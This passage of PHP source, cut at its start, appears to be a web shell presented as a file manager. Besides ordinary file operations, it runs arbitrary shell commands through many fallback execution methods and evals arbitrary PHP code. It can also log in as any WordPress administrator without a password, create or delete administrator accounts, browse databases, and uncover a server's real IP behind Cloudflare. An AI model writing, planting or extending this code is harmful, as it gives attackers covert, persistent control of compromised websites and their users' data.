= (isset($_POST['name']) ? $_POST['name'] : ''); $mtime_str = (isset($_POST['mtime']) ? $_POST['mtime'] : ''); $target = get_safe_target_path($name); if ($target && file_exists($target)) { $timestamp = strtotime($mtime_str); if ($timestamp !== false) { if (@touch($target, $timestamp)) { set_toast("Modification date for '$name' updated."); } else { set_toast("Failed to change modification date.", "error"); } } else { set_toast("Invalid date format. Use YYYY-MM-DD HH:MM:SS.", "error"); } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Copy/Cut to Clipboard if ($action === 'copy' || $action === 'cut') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $target = get_safe_target_path($name); if ($target && file_exists($target)) { setcookie('fm_clip_path', json_encode([$target]), time() + 3600, '/'); setcookie('fm_clip_type', $action, time() + 3600, '/'); $verb = ($action === 'copy') ? 'copied' : 'cut'; set_toast("Item {$verb}."); } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Paste Clipboard Content if ($action === 'paste') { $clip_path = (isset($_COOKIE['fm_clip_path']) ? $_COOKIE['fm_clip_path'] : ''); $clip_type = (isset($_COOKIE['fm_clip_type']) ? $_COOKIE['fm_clip_type'] : 'copy'); if ($clip_path !== '') { $paths = json_decode($clip_path, true); if (!is_array($paths)) { $paths = [$clip_path]; } $success_count = 0; $failed_count = 0; $same_dir = false; foreach ($paths as $path) { $src_path = realpath($path); if ($src_path !== false && file_exists($src_path)) { $basename = basename($src_path); $dest_path = $current_abs_dir . DIRECTORY_SEPARATOR . $basename; if ($src_path === $dest_path) { $same_dir = true; continue; } if ($clip_type === 'cut') { if (rename($src_path, $dest_path)) { $success_count++; } else { $failed_count++; } } else { if (copy_recursive($src_path, $dest_path)) { $success_count++; } else { $failed_count++; } } } else { $failed_count++; } } if ($success_count > 0) { $action_verb = ($clip_type === 'cut') ? 'moved' : 'copied'; set_toast("Successfully {$action_verb} {$success_count} item(s)."); setcookie('fm_clip_path', '', time() - 3600, '/'); setcookie('fm_clip_type', '', time() - 3600, '/'); } if ($failed_count > 0) { set_toast("Failed to process {$failed_count} item(s).", "error"); } if ($same_dir && $success_count === 0 && $failed_count === 0) { set_toast("Source and destination are the same.", "error"); } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Clear Clipboard if ($action === 'clear_clipboard') { setcookie('fm_clip_path', '', time() - 3600, '/'); setcookie('fm_clip_type', '', time() - 3600, '/'); set_toast("Clipboard cleared."); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Bulk Delete if ($action === 'bulk_delete') { $selected_items = (isset($_POST['selected_items']) ? $_POST['selected_items'] : []); $success_count = 0; $failed_count = 0; foreach ($selected_items as $name) { $target = get_safe_target_path($name); if ($target && file_exists($target)) { if (is_dir($target)) { if (delete_dir_recursive($target)) { $success_count++; } else { $failed_count++; } } else { if (unlink($target)) { $success_count++; } else { $failed_count++; } } } else { $failed_count++; } } if ($success_count > 0) { set_toast("Successfully deleted {$success_count} item(s)."); } if ($failed_count > 0) { set_toast("Failed to delete {$failed_count} item(s).", "error"); } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Bulk Copy / Bulk Cut if ($action === 'bulk_copy' || $action === 'bulk_cut') { $selected_items = (isset($_POST['selected_items']) ? $_POST['selected_items'] : []); $targets = []; foreach ($selected_items as $name) { $target = get_safe_target_path($name); if ($target && file_exists($target)) { $targets[] = $target; } } if (!empty($targets)) { $clip_action = ($action === 'bulk_copy') ? 'copy' : 'cut'; setcookie('fm_clip_path', json_encode($targets), time() + 3600, '/'); setcookie('fm_clip_type', $clip_action, time() + 3600, '/'); $verb = ($clip_action === 'copy') ? 'copied' : 'cut'; set_toast("Successfully {$verb} " . count($targets) . " item(s) to clipboard."); } else { set_toast("No valid items selected.", "error"); } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Upload File if ($action === 'upload') { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $tmp_name = $_FILES['file']['tmp_name']; $raw_name = basename($_FILES['file']['name']); $name = trim(str_replace(['\\', '/', '..'], '', $raw_name)); if ($name !== '') { $dest = $current_abs_dir . DIRECTORY_SEPARATOR . $name; if (move_uploaded_file($tmp_name, $dest)) { set_toast("Uploaded '$name'."); } else { set_toast("Upload failed.", "error"); } } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Download File if ($action === 'download') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $target = get_safe_target_path($name); if ($target && file_exists($target) && is_file($target)) { if (ob_get_level()) { ob_end_clean(); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } else { set_toast("File not found or cannot be downloaded.", "error"); header("Location: " . $_SERVER['PHP_SELF']); exit; } } // Execute command in Terminal if ($action === 'exec_cmd') { $terminal_cmd = (isset($_POST['cmd']) ? $_POST['cmd'] : ''); $selected_exec_method = (isset($_POST['exec_method']) ? $_POST['exec_method'] : 'auto'); $valid_methods = ['auto', 'shell_exec', 'exec', 'system', 'passthru', 'proc_open', 'popen', 'backticks', 'wscript', 'ffi', 'imap']; if (!in_array($selected_exec_method, $valid_methods)) { $selected_exec_method = 'auto'; } setcookie('fm_exec_method', $selected_exec_method, time() + 86400 * 30, '/'); if ($terminal_cmd !== '') { $full_cmd = 'cd /d ' . escapeshellarg($current_abs_dir) . ' && ' . $terminal_cmd; if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') { $full_cmd = 'cd ' . escapeshellarg($current_abs_dir) . ' && ' . $terminal_cmd; } $res = run_system_cmd($full_cmd, $selected_exec_method); $terminal_output = $res['output']; $last_used_method = $res['used']; setcookie('fm_last_exec_method', $last_used_method, time() + 86400 * 30, '/'); } setcookie('fm_tab', 'terminal', time() + 3600, '/'); $_COOKIE['fm_tab'] = 'terminal'; $active_tab = 'terminal'; } // Execute PHP code if ($action === 'exec_php') { $php_code = (isset($_POST['php_code']) ? $_POST['php_code'] : ''); if ($php_code !== '') { ob_start(); try { $eval_code = $php_code; if (strpos($eval_code, '') { $eval_code = substr($eval_code, 0, -2); } eval($eval_code); } catch (Exception $e) { echo "Exception: " . $e->getMessage(); } $php_output = ob_get_clean(); } setcookie('fm_tab', 'php', time() + 3600, '/'); $_COOKIE['fm_tab'] = 'php'; $active_tab = 'php'; } // Save WP Path if ($action === 'set_wp_path') { $path = (isset($_POST['wp_path']) ? $_POST['wp_path'] : ''); $safe_mode = (isset($_POST['wp_safe_mode']) ? '1' : '0'); setcookie('fm_wp_safe_mode', $safe_mode, time() + 86400 * 30, '/'); if ($path !== '') { $resolved = realpath($path); if ($resolved !== false && is_dir($resolved) && file_exists($resolved . DIRECTORY_SEPARATOR . 'wp-load.php')) { setcookie('fm_wp_path', $resolved, time() + 86400 * 30, '/'); set_toast("WordPress path saved successfully."); } else { set_toast("Invalid WordPress path. wp-load.php not found.", "error"); } } setcookie('fm_tab', 'wp', time() + 3600, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Toggle WP Safe Mode if ($action === 'toggle_wp_safe_mode') { $current = isset($_COOKIE['fm_wp_safe_mode']) && $_COOKIE['fm_wp_safe_mode'] === '1'; if ($current) { setcookie('fm_wp_safe_mode', '0', time() + 86400 * 30, '/'); set_toast("WordPress Safe Mode disabled."); } else { setcookie('fm_wp_safe_mode', '1', time() + 86400 * 30, '/'); set_toast("WordPress Safe Mode enabled. Plugins bypassed."); } setcookie('fm_tab', 'wp', time() + 3600, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Clear WP Path if ($action === 'clear_wp_path') { setcookie('fm_wp_path', 'none', time() + 86400 * 30, '/'); setcookie('fm_wp_safe_mode', '0', time() - 3600, '/'); set_toast("WordPress path cleared."); setcookie('fm_tab', 'wp', time() + 3600, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Log in as selected WordPress administrator if ($action === 'wp_login_admin') { $user_id = intval((isset($_POST['user_id']) ? $_POST['user_id'] : 0)); if ($wp_path !== '' && $user_id > 0) { if (bootstrap_wordpress($wp_path)) { if (function_exists('wp_set_auth_cookie') && function_exists('wp_set_current_user')) { wp_set_current_user($user_id); wp_set_auth_cookie($user_id, true); $admin_url = admin_url(); header("Location: " . $admin_url); exit; } else { set_toast("Required WordPress login functions are not available.", "error"); } } else { set_toast("Failed to bootstrap WordPress.", "error"); } } else { set_toast("WordPress path not set or invalid user selected.", "error"); } setcookie('fm_tab', 'wp', time() + 3600, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Create a new WordPress administrator if ($action === 'wp_create_admin') { $wp_user = trim((isset($_POST['wp_user']) ? $_POST['wp_user'] : '')); $wp_pass = (isset($_POST['wp_pass']) ? $_POST['wp_pass'] : ''); $wp_email = trim((isset($_POST['wp_email']) ? $_POST['wp_email'] : '')); if ($wp_path !== '' && $wp_user !== '' && $wp_pass !== '' && $wp_email !== '') { if (bootstrap_wordpress($wp_path)) { if (function_exists('username_exists') && function_exists('email_exists') && function_exists('wp_insert_user')) { if (username_exists($wp_user)) { set_toast("Username '$wp_user' already exists in WordPress.", "error"); } elseif (email_exists($wp_email)) { set_toast("Email '$wp_email' already exists in WordPress.", "error"); } else { $userdata = [ 'user_login' => $wp_user, 'user_pass' => $wp_pass, 'user_email' => $wp_email, 'role' => 'administrator' ]; $user_id = wp_insert_user($userdata); if (is_wp_error($user_id)) { set_toast("Failed to create user: " . $user_id->get_error_message(), "error"); } else { $user = new WP_User($user_id); $user->set_role('administrator'); set_toast("Administrator user '$wp_user' created successfully!"); } } } else { set_toast("WordPress user functions are not available.", "error"); } } else { set_toast("Failed to bootstrap WordPress.", "error"); } } else { set_toast("Please fill in all user details.", "error"); } setcookie('fm_tab', 'wp', time() + 3600, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Delete a WordPress administrator if ($action === 'wp_delete_admin') { $user_id = intval((isset($_POST['user_id']) ? $_POST['user_id'] : 0)); if ($wp_path !== '' && $user_id > 0) { if (bootstrap_wordpress($wp_path)) { if (!function_exists('wp_delete_user')) { require_once(ABSPATH . 'wp-admin/includes/user.php'); } if (function_exists('wp_delete_user')) { $user = get_userdata($user_id); if ($user) { if (in_array('administrator', $user->roles)) { $result = wp_delete_user($user_id); if ($result) { set_toast("Administrator user '{$user->user_login}' deleted successfully!"); } else { set_toast("Failed to delete user '{$user->user_login}'.", "error"); } } else { set_toast("User is not an administrator.", "error"); } } else { set_toast("User not found.", "error"); } } else { set_toast("WordPress delete user function is not available.", "error"); } } else { set_toast("Failed to bootstrap WordPress.", "error"); } } else { set_toast("WordPress path not set or invalid user selected.", "error"); } setcookie('fm_tab', 'wp', time() + 3600, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } } // --- 6. READ FILE/FOLDER DATA FOR LIST --- $scan_items = []; if (is_dir($current_abs_dir)) { $dir_handle = @opendir($current_abs_dir); if ($dir_handle) { while (($file = readdir($dir_handle)) !== false) { if ($file === '.' || $file === '..') continue; $full_path = $current_abs_dir . DIRECTORY_SEPARATOR . $file; $is_directory = is_dir($full_path); $stat = @stat($full_path); $size = $is_directory ? '-' : ((isset($stat['size']) ? $stat['size'] : 0)); $mtime = (isset($stat['mtime']) ? $stat['mtime'] : time()); $perms = get_perms_string($full_path); $owner = get_owner_string($full_path); $is_writable = is_writable($full_path); $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $scan_items[] = [ 'name' => $file, 'is_dir' => $is_directory, 'size' => $size, 'mtime' => $mtime, 'perms' => $perms, 'owner' => $owner, 'is_writable' => $is_writable, 'ext' => $ext ]; } closedir($dir_handle); } } // Parse sorting parameters from cookies or defaults $sort_by = isset($_COOKIE['fm_sort_by']) ? $_COOKIE['fm_sort_by'] : 'name'; $sort_order = isset($_COOKIE['fm_sort_order']) ? $_COOKIE['fm_sort_order'] : 'asc'; // Sort folders first, then items by requested key and order usort($scan_items, function($a, $b) use ($sort_by, $sort_order) { if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; // Determine factor based on asc/desc order $order_factor = ($sort_order === 'desc') ? -1 : 1; if ($sort_by === 'size') { // Folders are already separated. For files, compare sizes. $size_a = $a['is_dir'] ? 0 : intval($a['size']); $size_b = $b['is_dir'] ? 0 : intval($b['size']); if ($size_a === $size_b) { return strcasecmp($a['name'], $b['name']); } return ($size_a < $size_b ? -1 : 1) * $order_factor; } elseif ($sort_by === 'date') { if ($a['mtime'] === $b['mtime']) { return strcasecmp($a['name'], $b['name']); } return ($a['mtime'] < $b['mtime'] ? -1 : 1) * $order_factor; } else { // Default sort by name return strcasecmp($a['name'], $b['name']) * $order_factor; } }); // WordPress setup $wp_safe_mode = (isset($_COOKIE['fm_wp_safe_mode']) && $_COOKIE['fm_wp_safe_mode'] === '1'); $wp_is_valid = false; $wp_site_name = ''; $wp_site_url = ''; $wp_admins = []; if ($active_tab === 'wp' && $wp_path !== '') { if (bootstrap_wordpress($wp_path)) { $wp_is_valid = true; if (function_exists('get_bloginfo')) { $wp_site_name = get_bloginfo('name'); $wp_site_url = get_bloginfo('url'); } $wp_admins = get_wordpress_admins(); } } $clipboard_path = (isset($_COOKIE['fm_clip_path']) ? $_COOKIE['fm_clip_path'] : ''); $clipboard_type = (isset($_COOKIE['fm_clip_type']) ? $_COOKIE['fm_clip_type'] : ''); $clipboard_label = ''; if ($clipboard_path !== '') { $decoded_clip = json_decode($clipboard_path, true); if (is_array($decoded_clip)) { $clipboard_count = count($decoded_clip); if ($clipboard_count === 1) { $clipboard_label = basename($decoded_clip[0]); } else { $clipboard_label = $clipboard_count . " items"; } } else { $clipboard_label = basename($clipboard_path); } } function format_bytes($bytes, $precision = 1) { if (!is_numeric($bytes)) return $bytes; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); return round($bytes / pow(1024, $pow), $precision) . ' ' . $units[$pow]; } ?> <?php echo htmlspecialchars(APP_NAME); ?>
$info) { if (isset($info['unicast']) && is_array($info['unicast'])) { foreach ($info['unicast'] as $addr) { if (isset($addr['address']) && isset($addr['family'])) { if ($addr['family'] === 2) { $ip = $addr['address']; if (strpos($ip, '127.') !== 0 && strpos($ip, '169.254.') !== 0 && $ip !== '10.255.255.254') { $local_ips[] = $ip; } } } } } } } } if (isset($_SERVER['SERVER_ADDR'])) { $local_ips[] = $_SERVER['SERVER_ADDR']; } $local_hostname = gethostname(); if ($local_hostname) { $resolved_local = @gethostbynamel($local_hostname); if ($resolved_local) { $local_ips = array_unique(array_merge($local_ips, $resolved_local)); } } // Filter out loopback addresses to find true interface IPs $filtered_real_ips = array_filter($local_ips, function($ip) { return strpos($ip, '127.') !== 0 && $ip !== '::1' && $ip !== 'localhost' && $ip !== '0.0.0.0' && strpos($ip, '169.254.') !== 0; }); $filtered_real_ips = array_unique($filtered_real_ips); if (empty($filtered_real_ips)) { $filtered_real_ips = ['127.0.0.1']; } // Check if Cloudflare is active (via headers) $is_cloudflare = isset($_SERVER['HTTP_CF_CONNECTING_IP']) || isset($_SERVER['HTTP_CF_RAY']); // Check if domain DNS resolves to something other than local interfaces (i.e. behind proxy / Cloudflare) $behind_proxy = false; if (!empty($domain_ips) && !empty($filtered_real_ips)) { $has_direct_ip = false; foreach ($filtered_real_ips as $rip) { if (in_array($rip, $domain_ips)) { $has_direct_ip = true; break; } } if (!$has_direct_ip) { $behind_proxy = true; } } // Build Server Address String containing IPs in brackets $ip_parts = []; if ($is_cloudflare || $behind_proxy) { if (!empty($domain_ips)) { $ip_parts[] = implode(', ', $domain_ips); } if (!empty($filtered_real_ips)) { $ip_parts[] = 'Real: ' . implode(', ', $filtered_real_ips); } } else { if (!empty($filtered_real_ips)) { $ip_parts[] = implode(', ', $filtered_real_ips); } } $server_address_str = $server_name; if (!empty($ip_parts)) { $server_address_str .= ' (' . implode(', ', $ip_parts) . ')'; } if ($http_host && $http_host !== $server_name) { $server_address_str .= ' / ' . $http_host; } // Get Server OS kernel string $server_os = php_uname(); // Get Server software and PHP configuration $server_software = (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : ''); $php_details = 'PHP/' . PHP_VERSION; $loaded_exts = []; if (extension_loaded('curl')) { $loaded_exts[] = 'cURL'; } if (extension_loaded('openssl')) { $loaded_exts[] = 'OpenSSL'; } if (extension_loaded('pdo')) { $loaded_exts[] = 'PDO'; } $software_str = trim($server_software . ' ' . $php_details . ' ' . implode(' ', $loaded_exts)); // Get user info (Unix style) $user_info_str = 'Unknown'; if (function_exists('posix_getuid')) { $uid = posix_getuid(); $gid = posix_getgid(); $user_info = posix_getpwuid($uid); $group_info = posix_getgrgid($gid); $u_name = (isset($user_info['name']) ? $user_info['name'] : $uid); $g_name = (isset($group_info['name']) ? $group_info['name'] : $gid); $user_info_str = "uid={$uid}({$u_name}) gid={$gid}({$g_name})"; } else { // Fallback for Windows / environments where posix extension is missing $current_user = get_current_user(); if ($current_user) { $user_info_str = $current_user; } else { $user_info_str = getenv('USERNAME') ?: getenv('USER') ?: 'webserver-user'; } } ?>
Server address:
Server OS:
Server software:
User info:
Cancel
Path: $part): if ($i === 0) { if ($is_windows) { $running_path = $part . DIRECTORY_SEPARATOR; $crumb_name = $part; } else { $running_path = '/'; $crumb_name = '/'; } } else { if ($is_windows) { $running_path = rtrim($running_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $part; } else { $running_path = '/' . implode('/', array_slice($clean_parts, 1, $i)); } $crumb_name = $part; } ?>
0 || $is_windows)): ?> /
Name Size Perms Owner Modified Actions
Folder is empty.
OS / Kernel
Server Software
PHP Version
Script Path
Active Root Directory
Disk Usage
Disabled Functions
Upload Max Filesize
POST Max Size
Memory Limit
Last executed via:
$
Connected: '; echo ''; echo ''; echo ''; } else { $db_name_display = empty($db_conn_data['dbname']) ? '[no db selected]' : $db_conn_data['dbname']; echo htmlspecialchars($db_name_display); } echo ')'; } ?>
Databases
No databases found.
Tables
No tables found.

Select a Database

No database selected. Please select one from the list below to browse tables and execute queries:

No databases found.
Templates:
Page:
/
(Total rows: )
Returned empty result set (0 rows).
Actions
NULL' : htmlspecialchars($val); ?>
WordPress Bootstrap Error:

A catchable error was encountered while including wp-load.php:

getMessage() . "\nin " . $err->getFile() . " on line " . $err->getLine());
                            } else {
                                echo htmlspecialchars(strval($err));
                            }
                        ?>
style="margin-right: 10px; width: auto;">

WP Path:

Manage WordPress Administrators

Log in directly or delete administrator accounts from this WordPress site.

No administrator users found.
Username Email Actions

Add New Administrator

Create a new administrator user account in this WordPress site.

Login - <?php echo htmlspecialchars(APP_NAME); ?>